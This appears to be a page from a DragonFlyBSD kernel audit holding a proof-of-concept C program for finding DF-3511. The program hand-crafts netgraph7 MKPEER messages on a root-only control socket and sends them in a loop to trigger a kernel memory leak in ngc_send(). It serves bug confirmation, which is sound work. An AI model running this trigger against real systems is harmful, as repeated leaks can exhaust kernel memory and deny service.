⬢ DragonFlyBSD Kernel Audit
DF-3511 / trigger.c
← back to finding ↓ download raw
/*
 * DF-3511 PoC (v2): ng_socket.c ngc_send() MKPEER module-autoload error
 * path leaks msg + path + mbuf when linker_api_available() == 0.
 *
 * v2: the guest's stock userland <netgraph/ng_message.h> describes the OLD
 * sys/netgraph header layout, which does NOT match the netgraph7 kernel
 * (ng7: arglen@+4, cmd@+8, flags@+12, token@+16, typecookie@+20,
 * cmdstr[32]@+24 => 56-byte header).  v1 messages were therefore silently
 * mis-parsed by the kernel (never matched the MKPEER interceptor) and got
 * echoed back as opaque datagrams.  v2 hand-rolls the ng7 layout.
 *
 * Phases (one AF_NETGRAPH netgraph7 control socket):
 *   loaded: MKPEER type "socket"  -> loader block skipped -> generic
 *           MKPEER -> ngs_constructor -> EINVAL.  sendto fails EINVAL,
 *           NO leak.
 *   bogus : MKPEER type "df3511x" -> ngc_send:281 ng_findtype()==NULL ->
 *           if !linker_api_available(): ENXIO + goto done (LEAK msg+path+m)
 *           else linker_load_file("ng_df3511x.ko") -> ENOENT, no leak.
 *
 * Discriminator: bogus-phase sendto errno:  6(ENXIO)=LEAK LIVE,
 * 2(ENOENT)=loader ran (leak dead at runtime).
 * Must run as root (control socket is SYSCAP_RESTRICTEDROOT-gated).
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

#include <netgraph/socket/ng_socket.h>	/* AF_NETGRAPH, NG_CONTROL only */

/* ---- netgraph7 kernel message layout (sys/netgraph7/ng_message.h) ---- */
#define NG7_VERSION		8
#define NG7_GENERIC_COOKIE	1137070366u
#define NG7_MKPEER		2u
#define NG7_TYPESIZ		32
#define NG7_HOOKSIZ		32
#define NG7_CMDSTRSIZ		32
#define NG7_HDRSZ		(24 + NG7_CMDSTRSIZ)	/* 56 */
#define NG7_NGRESP		0x1u

struct ng7_mkpeer {
	char	type[NG7_TYPESIZ];
	char	ourhook[NG7_HOOKSIZ];
	char	peerhook[NG7_HOOKSIZ];
};

struct sa_ng_big {
	struct sockaddr_ng	sg;
	char			pad[64];
};

static long errnos[256];
static long ok = 0, fail = 0;
static int respshown = 0;

static void
mkpeer_msg(char *buf, size_t bufsz, const char *type, uint32_t token)
{
	uint32_t *p32;

	memset(buf, 0, bufsz);
	buf[0] = NG7_VERSION;			/* version */
	buf[1] = 0;				/* spare */
	/* spare2 @+2 = 0 */
	p32 = (uint32_t *)(buf + 4);
	p32[0] = sizeof(struct ng7_mkpeer);	/* arglen */
	p32[1] = NG7_MKPEER;			/* cmd */
	p32[2] = 0;				/* flags */
	p32[3] = token;				/* token */
	p32[4] = NG7_GENERIC_COOKIE;		/* typecookie */
	/* cmdstr @+24 zeroed */
	{
		struct ng7_mkpeer *mkp =
		    (struct ng7_mkpeer *)(buf + NG7_HDRSZ);
		strlcpy(mkp->type, type, sizeof(mkp->type));
		strlcpy(mkp->ourhook, "o", sizeof(mkp->ourhook));
		strlcpy(mkp->peerhook, "p", sizeof(mkp->peerhook));
	}
}

static void
dump_one_response(int cs, const char *tag)
{
	char rb[2048];
	struct sockaddr_ng from;
	socklen_t fromlen;
	int n;

	fromlen = sizeof(from);
	n = recvfrom(cs, rb, sizeof(rb), MSG_DONTWAIT,
	    (struct sockaddr *)&from, &fromlen);
	if (n <= 0)
		return;
	if (n >= NG7_HDRSZ && respshown < 4) {
		uint32_t *p32 = (uint32_t *)(rb + 4);
		char data[48];
		memset(data, 0, sizeof(data));
		if (n > NG7_HDRSZ)
			memcpy(data, rb + NG7_HDRSZ,
			    (size_t)(n - NG7_HDRSZ) > 46 ? 46 :
			    (size_t)(n - NG7_HDRSZ));
		printf("[%s] resp n=%d arglen=%u cmd=%#x flags=%u token=%#x "
		    "cookie=%u data='%.40s'\n", tag, n, p32[0], p32[1],
		    p32[2], p32[3], p32[4], data);
		respshown++;
	}
}

static void
phase(int cs, const char *type, int iters)
{
	char buf[NG7_HDRSZ + sizeof(struct ng7_mkpeer)];
	int i;

	memset(errnos, 0, sizeof(errnos));
	ok = fail = 0;
	respshown = 0;

	for (i = 0; i < iters; i++) {
		struct sa_ng_big sb;

		mkpeer_msg(buf, sizeof(buf), type, 0xdf0000 + (i & 0xffff));
		memset(&sb, 0, sizeof(sb));
		sb.sg.sg_len = 4;
		sb.sg.sg_family = AF_NETGRAPH;
		sb.sg.sg_data[0] = '.';
		sb.sg.sg_data[1] = '\0';

		if (sendto(cs, buf, sizeof(buf), 0,
			   (struct sockaddr *)&sb.sg, 4) < 0) {
			fail++;
			if (errno > 0 && errno < 256)
				errnos[errno]++;
		} else {
			ok++;
		}
		dump_one_response(cs, type);
	}
	printf("[type=%-9s] sendto ok=%ld fail=%ld (%d iters)\n",
	    type, ok, fail, iters);
	{
		int j;
		for (j = 0; j < 256; j++)
			if (errnos[j])
				printf("[type=%-9s]   errno %d (%s): %ld\n",
				    type, j, strerror(j), errnos[j]);
	}
	fflush(stdout);
}

int
main(int argc, char **argv)
{
	const char *mode = (argc > 1) ? argv[1] : "both";
	int iters = (argc > 2) ? atoi(argv[2]) : 50000;
	int cs;

	if (geteuid() != 0) {
		fprintf(stderr, "must run as root (control socket)\n");
		return (1);
	}

	printf("ng7 header size=%d (kernel struct ng_mesg layout)\n",
	    NG7_HDRSZ);

	cs = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		perror("socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL)");
		return (1);
	}
	printf("control socket fd=%d\n", cs);

	if (strcmp(mode, "loaded") == 0 || strcmp(mode, "both") == 0)
		phase(cs, "socket", iters);		/* A: EINVAL, no leak */
	if (strcmp(mode, "bogus") == 0 || strcmp(mode, "both") == 0)
		phase(cs, "df3511x", iters);		/* B: ENXIO => leak */

	close(cs);
	return (0);
}